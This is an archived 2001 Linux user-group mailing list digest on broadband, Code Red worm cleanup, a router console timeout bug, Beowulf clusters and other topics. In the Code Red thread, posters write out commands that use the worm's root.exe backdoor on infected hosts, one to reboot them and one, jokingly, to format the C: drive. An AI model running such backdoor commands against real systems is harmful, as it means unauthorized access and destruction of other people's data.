doesnt exist out there. If I wanted to >live in the middle of nowhere and had cash, I would get a fractional t1 >frame back to the nearest major city... Not cheap, but resell dialups >on it and try to recoup the cost. > Well, Forest Lake is just now starting to get "wired" by both US Cable and Qwest for cable modem and DSL. Both of them have said it won't be complete before Sept/Oct. Other cities such as Wyoming, Ham Lake, etc in NE part of the cities are slow to get this. As to Starband, couple of problems: 1) Can't do anything interactively such as games because of the 6 second delay 2) They don't allow web hosting period. As you've pointed out, the costs aren't cheap, but they are there. I personally had a problem with paying $150 a month for ISDN speed connection (115/128). Not worth it. Shawn From dieman+tclug at ringworld.org Tue Aug 7 13:36:56 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Digital Broadcasting In-Reply-To: <3B703493.6000705@mninter.net> Message-ID: <20010807133656.F6692@ringworld.org> > such as games because of the 6 second delay 2) They don't allow web > hosting period. Remember, Im of the camp "colo your webservers, damnit." -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From lxy at cloudnet.com Tue Aug 7 13:57:02 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Code Red Auto Fix In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8448@mspexch2.office.mktw.net> Message-ID: On Tue, 7 Aug 2001, Austad, Jay wrote: > Or something similar. You'd probably need something in there to remove the > worm also, because the patch won't remove the worm from the system. You already did: > Lynx -source http://infectedhost/scripts/root.exe+/c+reboot IIRC the worm doesn't ever store itself on disk. It seems odd, then, that an NT machine went from July 19 to Aug 1 without a reboot. So I may not be correct on this. If you install the patch and reboot the server, I think you've fixed the problem. -Brian From fertch at mninter.net Tue Aug 7 14:01:24 2001 From: fertch at mninter.net (Shawn) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Digital Broadcasting References: <20010807133656.F6692@ringworld.org> Message-ID: <3B703B04.5030107@mninter.net> Scott Dier wrote: >>such as games because of the 6 second delay 2) They don't allow web >>hosting period. >> > >Remember, Im of the camp "colo your webservers, damnit." > I would agree with you on that but I like to be able to get to my servers anytime they go down or I want to do something physically to them: ie put cd in, new nic card, etc. I'm also of the cheap camp and hate to pay a lot of money out monthly for both high speed connections and colocation. I looked into colo and ISDN ISP through Real-Time and I just about had a heart attack when I saw the cost. Not to mention that the drive there for me just sucks if I have to do something to my server. I don't know of anywhere else that I can do a colo on. Shawn From hick0088 at tc.umn.edu Tue Aug 7 14:06:38 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Digital Broadcasting In-Reply-To: References: <3B701CA3.70809@mninter.net> Message-ID: <20010807140638.7fde35a1.hick0088@tc.umn.edu> "Andy Zbikowski (Zibby)" wrote: > > Now that I read it again, you're right. But he's talking brodcast. Not > satlite, but plain old brodcast tv. (Well, Digital TV brodcast now...) > > Well, it is possible. I know there was some show before the advent of > cable modems that included some sort of download in their show's signal. > No idea how it was actually decoded on the user end. Computer Chronicles used to do this. They'd send batches of shareware packages by using about 1/3 of the screen. To humans, it just looks like static. I'm not sure how much stuff got sent. They ran it for about 1-2 minutes, and while it was going, they would say what was getting downloaded. I suspect it ended up in the 30-50 MB range. > Setting the FCC regulations aside, could this really work? First hurdle > is that your brodcast tv signal is one way. It takes some high power > equipment and tall towers to get the signal to you. You would need a > similar setup to get it back for 2 way communication. True, but there is potential here -- certain data is good to broadcast. Weather images and data, for instance. I know that certain HDTV broadcasts are supposed to include extra information, so the frameworks are presumably already there, or are at least fairly well along. Hmm.. Though I wonder what will happen if someone were to serruptitiously include extra stuff in ordinary broadcasts. Send out a whole Linux ISO in ten minutes or less ;-) -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Radioactive halibut is / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ good for fission chips. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010807/c87a8f00/attachment.pgp From esper at sherohman.org Tue Aug 7 14:19:14 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Code Red Auto Fix In-Reply-To: ; from lxy@cloudnet.com on Tue, Aug 07, 2001 at 01:57:02PM -0500 References: <54180709DD3FE145917BB165AFE7EFA00A8448@mspexch2.office.mktw.net> Message-ID: <20010807141914.D30650@sherohman.org> On Tue, Aug 07, 2001 at 01:57:02PM -0500, Brian wrote: > On Tue, 7 Aug 2001, Austad, Jay wrote: > You already did: > > > Lynx -source http://infectedhost/scripts/root.exe+/c+reboot > > IIRC the worm doesn't ever store itself on disk. It seems odd, then, that > an NT machine went from July 19 to Aug 1 without a reboot. So I may not > be correct on this. If you install the patch and reboot the server, I > think you've fixed the problem. That is true of CR1, but not CR2, which trojans explorer.exe to make some registry settings as soon as a user logs in. These settings make the C:\ and D:\ directories available via port 80. Patching that one up requires that you remove the worm from memory, remove the trojaned explorer.exe, not have an explorer.exe running (it recreates the registry settings every 10 minutes), and remove the registry settings. And hope that nobody has used the remote access to plant additional backdoors. May as well just wipe the system and be done with it if CR2 takes root. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From jspinti at dart.dartdist.com Tue Aug 7 14:27:45 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Digital Broadcasting In-Reply-To: <20010807140638.7fde35a1.hick0088@tc.umn.edu> Message-ID: Wait till the virus writers get a hold of that bandwidth! We'll see them resend "MS WinTV" (.NET, of course) complete with security holes (from the source code they stole). Your TV will reboot and dial up and upload all your files, personal data, etc., to some location in outer Slobovia while you sleep. Then you'll get the bill for the phone call(s) (disguised telephone number, of course) and your credit cards will all be maxed. And because you use MSMoney, it will all look legitimate and you will be legally obligated to pay... All that, compliments of Bill! Maybe that's what they mean by "shared source" :) Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Mike Hicks |Sent: Tuesday, August 07, 2001 2:07 PM |To: tclug-list@mn-linux.org |Subject: Re: [TCLUG] Digital Broadcasting | | |Hmm.. Though I wonder what will happen if someone were to serruptitiously |include extra stuff in ordinary broadcasts. Send out a whole Linux ISO in |ten minutes or less ;-) | |-- | _ _ _ _ _ ___ _ _ _ ___ _ _ __ Radioactive halibut is |/ \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ good for fission chips. |\_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) |[ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] | From blayer at qwest.net Tue Aug 7 14:25:08 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: References: Message-ID: <20010807142508.2570a4d6.blayer@qwest.net> On Tue, 7 Aug 2001 06:22:16 -0500 (CDT) "Joshua b. Jore" wrote: > Oh so 2.4.1 isn't code red proof? No, it is safe.. you are misreading the infomation. All versions of CBOS < 2.4.1 are vulnerable... 2.4.1 and 2.4.2 are both fixed.. but I found another 'issue' in 2.4.2, which I will be posting about shortly. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From austad at marketwatch.com Tue Aug 7 14:32:42 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Code Red Auto Fix Message-ID: <54180709DD3FE145917BB165AFE7EFA00A844A@mspexch2.office.mktw.net> Exactly, CR2 is on disk, not only in memory. It infects explorer.exe, and adds some registry settings. Maybe just Lynx -source http://infectedhost/scripts/root.exe+/c+format+-y+c: Would be a better solution. :) > -----Original Message----- > From: Dave Sherohman [mailto:esper@sherohman.org] > Sent: Tuesday, August 07, 2001 2:19 PM > To: 'tclug-list@mn-linux.org' > Subject: Re: [TCLUG] Code Red Auto Fix > > > On Tue, Aug 07, 2001 at 01:57:02PM -0500, Brian wrote: > > On Tue, 7 Aug 2001, Austad, Jay wrote: > > You already did: > > > > > Lynx -source http://infectedhost/scripts/root.exe+/c+reboot > > > > IIRC the worm doesn't ever store itself on disk. It seems > odd, then, > > that an NT machine went from July 19 to Aug 1 without a > reboot. So I > > may not be correct on this. If you install the patch and > reboot the > > server, I think you've fixed the problem. > > That is true of CR1, but not CR2, which trojans explorer.exe > to make some registry settings as soon as a user logs in. > These settings make the C:\ and D:\ directories available via > port 80. Patching that one up requires that you remove the > worm from memory, remove the trojaned explorer.exe, not have > an explorer.exe running (it recreates the registry settings > every 10 minutes), and remove the registry settings. And hope > that nobody has used the remote access to plant additional backdoors. > > May as well just wipe the system and be done with it if CR2 > takes root. > > -- > With the arrest of Dimitry Sklyarov it has become apparent > that it is not safe for non US software engineers to visit > the United States. - Alan Cox > "To prevent unauthorized reading..." - Adobe eBook > reader license > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From blayer at qwest.net Tue Aug 7 14:40:27 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Potential security issue in CBOS 2.4.2 Message-ID: <20010807144027.294dae0f.blayer@qwest.net> I have come across what seems to be a security problem in CBOS 2.4.2 (perhaps 2.4.1 also?), and I would like some verification before I get too excited about it. The problem relates to the serial port idle timeout, and may similarly affect the telnet timeout; this I haven't tested. Problem: When the serial port session timeout is set to 300 seconds (5 minutes), which appears to have been the default on my 675 since CBOS 2.0.X, the serial port session NEVER times out. If you count on serial timeout to re-secure the serial console, you have a secutiry issue. How I discovered this: I logged onto my 675 serial console today, and was not prompted for a password. It was still in 'enable' mode (#) from my last session, the one which I began immediately after upgrading from CBOS 2.4.1 to CBOS 2.4.2. I never noticed this behavior with any CBOS prior to 2.4.2, but that doesn't mean it's not there. Temporary workaround: I found that setting the serial port timeout to 100 (1 minute, 40 seconds) allows the serial console to timeout normally. I am not sure at which setting above 100 the timeout begins to fail. Also, logging out with 'exit' or 'quit' will also re-secure the console. Can a few of you with a 675 -AND- CBOS 2.4.2 please check the following: 1) That your serial console timeout is set to 300 seconds by default (cbos# show serial) 2) That when set for 300 seconds, the serial console never times out (or, at least doesn't time out in 300 seconds (5 minutes)) 3) That when set to 100 seconds or less, the serial console times out correctly. (cbos# set serial timeout 100) Thanks, -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From drake at lemongecko.myip.org Tue Aug 7 13:51:02 2001 From: drake at lemongecko.myip.org (Dan Drake) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Potential security issue in CBOS 2.4.2 In-Reply-To: <20010807144027.294dae0f.blayer@qwest.net> References: <20010807144027.294dae0f.blayer@qwest.net> Message-ID: <20010807145102.C27976@lemongecko.org> On Tue, Aug 07, 2001 at 02:40:27PM -0500, Bill Layer wrote: > How I discovered this: I logged onto my 675 serial console today, and was > not prompted for a password. It was still in 'enable' mode (#) from my > last session, the one which I began immediately after upgrading from CBOS > 2.4.1 to CBOS 2.4.2. I never noticed this behavior with any CBOS prior to > 2.4.2, but that doesn't mean it's not there. I used to have a 678 and this seems very familiar. I remember connecting with minicom and not having to type in passwords. I can't verify that, but this seems very familiar. I never changed the default timeout setting, so I wouldn't know if this behavior gets fixed by changing it to 100 seconds. Dan -- lemon | Dan Drake + gecko | drake@lemongecko.org ----- | http://lemongecko.org/drake ?! | From blutgens at sistina.com Tue Aug 7 15:10:21 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Potential security issue in CBOS 2.4.2 In-Reply-To: <20010807144027.294dae0f.blayer@qwest.net>; from blayer@qwest.net on Tue, Aug 07, 2001 at 02:40:27PM -0500 References: <20010807144027.294dae0f.blayer@qwest.net> Message-ID: <20010807151021.B2032@minime.sistina.com> On Tue, Aug 07, 2001 at 02:40:27PM -0500, Bill Layer wrote: >Can a few of you with a 675 -AND- CBOS 2.4.2 please check the following: I'll test it as soon as I get home and upgrade. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010807/6c0bd640/attachment.pgp From chrome at real-time.com Tue Aug 7 15:20:46 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:44 2005 Subject: OT: scanners [Was Re: [TCLUG] OT] In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8446@mspexch2.office.mktw.net>; from austad@marketwatch.com on Tue, Aug 07, 2001 at 12:59:48PM -0500 References: <54180709DD3FE145917BB165AFE7EFA00A8446@mspexch2.office.mktw.net> Message-ID: <20010807152046.Q4015@real-time.com> > Has anyone tried making a data slicer out of an old motorola flex pager? I > have a whole box of em, and I'm just itching to take one apart and make > something fun with it. what's a data slicer? is it something like a gonkulator? :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From list at slushpupie.com Tue Aug 7 15:19:20 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Diskless Clusters In-Reply-To: <20010807145102.C27976@lemongecko.org> Message-ID: A friend of mine wants to do some serious number crunching. (He is a math theory major at NAU- go figure) The problem is, he doesn't have a super computer. So his thought was to make a bootable CD with Linux on it to make a computer a Beowulf cluster node. Then, make another CD to serve as the "master" to all the nodes. His thought was to pop the CD's into computers at the lab at night, and let it process away till dawn. A floppy disk on the master could serve as a place to save data. What do people think of this? Is this possible? Ignore any legal side effects, as he knows the proper channels to go to for a project like this. I don't know enough about Beowulf to really help him out at the moment, but if it looks possible, it sounds interesting and I might help out. Jay -- Jay Kline list@slushpupie.com http://www.slushpupie.com/ From tanner at real-time.com Tue Aug 7 15:28:40 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Bye-bye Covad Message-ID: <20010807152840.P22243@real-time.com> SANTA CLARA, Calif. (Reuters) - High-speed Internet access provider Covad Communications Group Inc. COVD.OB said on Tuesday it expects to voluntarily file for bankruptcy protection by mid-August as part of a plan being negotiated with bondholders to eliminate its $1.4 billion debt load. Covad is one of a handful of cash-hungry telecoms to have recently faced pressure from bondholders trying to protect their investments and keep the telecoms from spending in ways they deem wasteful before they run out of cash. The Santa Clara, California-based company, the last big independent digital subscriber line (DSL) provider still above water, said holders of a majority of the debt have agreed verbally or in writing to the terms of a restructuring. It said it expects to file for a prepackaged reorganization under Chapter 11 of the U.S. Bankruptcy Code in mid-August. "We believe this transaction to be in the best interests of our bondholders and shareholders," said Chuck McMinn, Covad's chairman, in a press statement. McMinn said once the restructuring is completed, Covad will need $200 million more cash to turn a positive cash flow, which he expects by the third quarter of 2003. Covad said it does not expect a bankruptcy filing to include its operating companies, which it expects will continue to provide service normally. Covad said it had 333,000 customers in service on its network as of June 30. Last Wednesday, DSL provider Rhythms NetConnections Inc. RTHMQ.OB, filed for bankruptcy protection, but only after obtaining consents from holders of more than 60 percent of its bonds. The other big independent DSL provider, NorthPoint Communications Corp., folded earlier this year. Shares of Covad closed Monday on the Nasdaq bulletin board at 50 cents, down 97 percent in the last year. TERMS Covad said under the restructuring, bondholders can exchange their bonds for preferred stock and 19 cents on the dollar in cash. The preferred stock would be convertible into about 33 million shares, representing about 15 percent of Covad's diluted common stock. Upon closing of the restructuring, Covad said it expects to pay out $283.3 million to bondholders. After the payout, Covad said it will have about $250 million of cash on a pro forma basis as of June 30, 2001, enough to run its business into early 2002. The company said it expects to emerge from bankruptcy by January 2002. Covad is one of dozens of emerging telecoms to sprout after the deregulation brought about by the Telecommunications Act of 1996. But customer demand never met expectations, the economy slowed, and capital markets shut down, causing many telecoms to run out of cash before turning profitable. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From fritchie at mr.net Tue Aug 7 15:36:48 2001 From: fritchie at mr.net (Scott Lystig Fritchie) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Diskless Clusters In-Reply-To: Message of "Tue, 07 Aug 2001 15:19:20 CDT." Message-ID: <200108072036.f77Kan434506@snookles.snookles.com> >>>>> "jk" == Jay Kline writes: jk> So his thought was to make a bootable CD jk> with Linux on it to make a computer a Beowulf cluster node. See http://www.math.byu.edu/CompResources/cheops/cheops.htm, among others. Also, http://www.beowulf-underground.org/ may mention other such projects. -Scott From lxy at cloudnet.com Tue Aug 7 15:39:15 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:44 2005 Subject: [TCLUG] Diskless Clusters In-Reply-To: Message-ID: On Tue, 7 Aug 2001, Jay Kline wrote: > A friend of mine wants to do some serious number crunching. (He is a math theory > major at NAU- go figure) The problem is, he doesn't have a super computer. So his > thought was to make a bootable CD with Linux on it to make a computer a Beowulf > cluster node. Then, make another CD to serve as the "master" to all the nodes. > His thought was to pop the CD's into computers at the lab at night, and let it > process away till dawn. A floppy disk on the master could serve as a place to > save data. I've been wanting to do this for awhile myself, but never had the hardware. If you read the beowulf-HOWTO you'll see how basically the cluster is one controller machine (head node) and the rest are peons. All the peons are identically configured aside from the IP address. If you have enough RAM in the machines, you could probably make a floppy disk syatem to load the linux kernel, DHCP an address, ftp and mount a ramdisk image that would contain all your workspace. This is all theory, mind you. -Brian From chrome at real-time.com Tue Aug 7 15:47:15 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] Debian / Gnome Question In-Reply-To: <20010807121108.A21087@candle.mn.mediaone.net>; from nate@techie.com on Tue, Aug 07, 2001 at 12:11:08PM -0500 References: <20010807031445.A77274@io.stderr.net> <20010807115216.G24839@real-time.com> <20010807121108.A21087@candle.mn.mediaone.net> Message-ID: <20010807154715.R4015@real-time.com> this is starting to get holy-war-ish; so I just want to say that my foremost opinion of Window Managers, is that it's one of the most personal choices you make for your desktop. try lots of them, and pick the one you like, for that situation. that said... I do some of these in my .fvwm2rc; or things similar to them; or could do them if I cared to spend the time. :) > [1] Ctrl+Alt+Left, Ctrl+Alt+Right: Move to desktop on left or right # ctrl + arrow, scroll by 1 page Key Left A M Scroll -100 0 Key Right A M Scroll +100 +0 Key Up A M Scroll +0 -100 Key Down A M Scroll +0 +100 # alt + arrow key, scrolls by 1/10 of a page Key Left A C Scroll -10 +0 Key Right A C Scroll +10 +0 > Ctrl+Alt+Shift+Left, Ctrl+Alt+Shift+Right: Take the window with you never occurred to me to want that; but it's a decent idea. I usually just click the 'sticky' button I created; then go to whichever desktop I want. > [2] The window menu LABELs the keys this gives a list of the windows when you hit alt+tab; from which you can choose the one you want, by clicking on it, or choosing its number or letter. # this gives almost-Alt+Tab-ish behavior Key Tab A M WindowList Root c c NoDeskSort NoGeometry > [3] Ctrl+Alt+Space man bash Ctrl+Enter or in my case: right-click on the desktop for a list of programs to launch (just like OS/2); choose the top one (xterm); man bash, enter. I mean to bind the list to ctrl+esc one of these days; but that's a tough span on my keyboard here at work (Kinesis Ergo); so not much incentive there. > [4] If I click on window that means I want to see the whole window. Mouse 1 F A Resize-or-Raise the keyboard I use here at work is a Kinesis Ergo Essential. it's great for my wrists and my typing speed; but it's not very convenient for spans/chords (alt+esc; ctrl+tab; etc). so I've gotten into the habit of just mousing (trackball, in my case) for a lot of things. so I'm not quite as keyboard-heavy as I used to be. if you like, I'll post my .fvwm2rc file to a web site; tho it's so crufty I'm ashamed of it. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From blutgens at sistina.com Tue Aug 7 15:49:24 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] Diskless Clusters In-Reply-To: ; from list@slushpupie.com on Tue, Aug 07, 2001 at 03:19:20PM -0500 References: <20010807145102.C27976@lemongecko.org> Message-ID: <20010807154924.A2440@minime.sistina.com> On Tue, Aug 07, 2001 at 03:19:20PM -0500, Jay Kline wrote: >enough about Beowulf to really help him out at the moment, but if it looks >possible, it sounds interesting and I might help out. > Surely a beowulf is the way to go. But if he's gonna start it up computing at night and stop it in the morning there has to be a way to save the state to a stable media type for continuation in the morning. He should try to get the uni to buck up some cash on some comodity hardware and some cable ( serial and ethernet ) and make a cluster. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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Also, http://www.beowulf-underground.org/ may mention other >such projects. > Those crazy cats at progeny are working on linuxNOW ( NOW stands for network of workstations Ithink ) it's a shared process space type thing that could be run on a buttload of workstation in a lab. This way the machines would distribute what needed to be distributed while still being useable to end users as regular workstations. Don't know how far along the project is or wether or not it's even viable. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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Jay > -----Original Message----- > From: Carl Wilhelm Soderstrom [mailto:chrome@real-time.com] > Sent: Tuesday, August 07, 2001 3:21 PM > To: tclug-list@mn-linux.org > Subject: Re: OT: scanners [Was Re: [TCLUG] OT] > > > > Has anyone tried making a data slicer out of an old motorola flex > > pager? I have a whole box of em, and I'm just itching to take one > > apart and make something fun with it. > > what's a data slicer? is it something like a gonkulator? :) > > Carl Soderstrom > -- > Network Engineer > Real-Time Enterprises > (952) 943-8700 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From jacque at fruitioninc.com Tue Aug 7 15:56:49 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] Beermeeting August 9th Message-ID: We'll be meeting at Hops in Eden Prairie. I have heard from numerous sources that their beer was better than the WaterTower's. I guess I'll have a first-hand opinion about it in a couple of days. Details here: http://www.mn-linux.org/beermeeting/ Hope to see you there! Jacque From doughanson at mediaone.net Tue Aug 7 16:18:05 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] Beermeeting August 9th References: Message-ID: <015801c11f86$736f7e90$eaaf7a81@doug> Suggestion: The Green Mill on Hamline and Grand in St. Paul has a fine selection of Micro Brews... (and it's close to my house :)~) Doug ----- Original Message ----- From: "Jacqueline Urick" To: "Tclug-List" ; "Tclug-Announce" Sent: Tuesday, August 07, 2001 3:56 PM Subject: [TCLUG] Beermeeting August 9th > We'll be meeting at Hops in Eden Prairie. I have heard from numerous sources > that their beer was better than the WaterTower's. I guess I'll have a > first-hand opinion about it in a couple of days. > > Details here: > http://www.mn-linux.org/beermeeting/ > > > Hope to see you there! > > > Jacque > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From jacque at fruitioninc.com Tue Aug 7 16:19:37 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] Beermeeting August 9th In-Reply-To: <015801c11f86$736f7e90$eaaf7a81@doug> Message-ID: you are absolutely correct. They do have tasty beer. Whats the parking situation likeover there? Do they have a lot or is all street. I remember parking on the street. Jacque > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Doug Hanson > Sent: Tuesday, August 07, 2001 4:18 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Beermeeting August 9th > > > Suggestion: The Green Mill on Hamline and Grand in St. Paul has a fine > selection of Micro Brews... (and it's close to my house :)~) > > Doug > > ----- Original Message ----- > From: "Jacqueline Urick" > To: "Tclug-List" ; "Tclug-Announce" > > Sent: Tuesday, August 07, 2001 3:56 PM > Subject: [TCLUG] Beermeeting August 9th > > > > We'll be meeting at Hops in Eden Prairie. I have heard from numerous > sources > > that their beer was better than the WaterTower's. I guess I'll have a > > first-hand opinion about it in a couple of days. > > > > Details here: > > http://www.mn-linux.org/beermeeting/ > > > > > > Hope to see you there! > > > > > > Jacque > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From shane at shell.schulte.org Tue Aug 7 16:32:12 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] OpenBSD & FreeBSD Help Message-ID: I have a really lame question that I have been looking for the answer to for a while. Does anyone know if you can turn on the terminal colors (like linux has) in these two distro's?? If you can, how do you do it? It's hot enough outside, so please dont flame me! ;P ~Shane From doughanson at mediaone.net Tue Aug 7 16:32:51 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] Beermeeting August 9th References: Message-ID: <016001c11f88$834efe10$eaaf7a81@doug> They have a lot across the street on Grand next to the gas station. Otherwise it is usually a block walk to the suds if you park on the street. Doug ----- Original Message ----- From: "Jacqueline Urick" To: Sent: Tuesday, August 07, 2001 4:19 PM Subject: RE: [TCLUG] Beermeeting August 9th > you are absolutely correct. They do have tasty beer. > > Whats the parking situation likeover there? Do they have a lot or is all > street. I remember parking on the street. > > > Jacque > > > -----Original Message----- > > From: tclug-list-admin@mn-linux.org > > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Doug Hanson > > Sent: Tuesday, August 07, 2001 4:18 PM > > To: tclug-list@mn-linux.org > > Subject: Re: [TCLUG] Beermeeting August 9th > > > > > > Suggestion: The Green Mill on Hamline and Grand in St. Paul has a fine > > selection of Micro Brews... (and it's close to my house :)~) > > > > Doug > > > > ----- Original Message ----- > > From: "Jacqueline Urick" > > To: "Tclug-List" ; "Tclug-Announce" > > > > Sent: Tuesday, August 07, 2001 3:56 PM > > Subject: [TCLUG] Beermeeting August 9th > > > > > > > We'll be meeting at Hops in Eden Prairie. I have heard from numerous > > sources > > > that their beer was better than the WaterTower's. I guess I'll have a > > > first-hand opinion about it in a couple of days. > > > > > > Details here: > > > http://www.mn-linux.org/beermeeting/ > > > > > > > > > Hope to see you there! > > > > > > > > > Jacque > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From moomonk at greentechnologist.org Tue Aug 7 11:49:57 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] OpenBSD & FreeBSD Help In-Reply-To: Message-ID: Ya know... I haven't seen *anything* in OpenBSD about this. I think you'd have to edit /usr/src/bin/ls/*.c to make that happen. It'd be a nice patch tho. You'll post the patch to tech@openbsd.org right? ;-) Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Tue, 7 Aug 2001, Shane Kinney wrote: > I have a really lame question that I have been looking for the answer to > for a while. Does anyone know if you can turn on the terminal colors > (like linux has) in these two distro's?? If you can, how do you do it? > It's hot enough outside, so please dont flame me! ;P > ~Shane > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From shane at shell.schulte.org Tue Aug 7 16:43:27 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] OpenBSD & FreeBSD Help In-Reply-To: Message-ID: If thats what it takes! I would do that... On Tue, 7 Aug 2001, Joshua b. Jore wrote: > Ya know... I haven't seen *anything* in OpenBSD about this. I think you'd > have to edit /usr/src/bin/ls/*.c to make that happen. It'd be a nice patch > tho. You'll post the patch to tech@openbsd.org right? ;-) > > Joshua Jore > Minneapolis Ward 3, precinct 10 > > "The irony of this man being imprisoned in the United States and longing > to return to once-Communist Russia so he can regain his right to free > speach is simply staggering." > > On Tue, 7 Aug 2001, Shane Kinney wrote: > > > I have a really lame question that I have been looking for the answer to > > for a while. Does anyone know if you can turn on the terminal colors > > (like linux has) in these two distro's?? If you can, how do you do it? > > It's hot enough outside, so please dont flame me! ;P > > ~Shane > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From nate at techie.com Tue Aug 7 16:53:03 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] OpenBSD & FreeBSD Help In-Reply-To: ; from shane@shell.schulte.org on Tue, Aug 07, 2001 at 04:32:12PM -0500 References: Message-ID: <20010807165303.A26088@candle.mn.mediaone.net> On Tue, Aug 07, 2001 at 